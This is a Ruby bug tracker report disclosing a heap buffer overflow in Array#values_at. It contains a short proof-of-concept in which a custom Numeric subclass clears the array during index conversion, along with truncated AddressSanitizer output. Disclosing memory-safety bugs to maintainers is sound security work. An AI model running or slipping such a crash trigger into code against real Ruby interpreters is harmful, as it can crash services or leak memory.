Project

General

Profile

Actions

Bug #22326

open

heap buffer overflow in array.values_at()

Bug #22326: heap buffer overflow in array.values_at()

Added by danielchong (Daniel Chong) 4 days ago. Updated 1 day ago.

Status:
Open
Assignee:
-
Target version:
-
[ruby-core:126744]

Description

Hello, I discovered a heap buffer overflow in array.values_at(). I believe the root issue/potential fix is similar to #22325, but the code paths are distinct.

PoC:

class bad < Numeric
  def initialize(v); @v = v; end
  def val; @v; end
  def <=>(o); @v <=> (o.is_a?(bad) ? o.val : o); end
  def to_int; $a.clear; @v; end
  def to_i; @v; end
  def coerce(o); [o, @v]; end
end
$a = (1..3000).to_a
$a.values_at(Range.new(bad.new(2900), bad.new(2950)))   

asan output (truncated):

ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 408 ...
    #3 ary_memcpy0             array.c:354
    #4 rb_ary_cat              array.c:1417
    #5 append_values_at_single array.c:3970
    #6 rb_ary_values_at        array.c:4096
Actions

Also available in: PDF Atom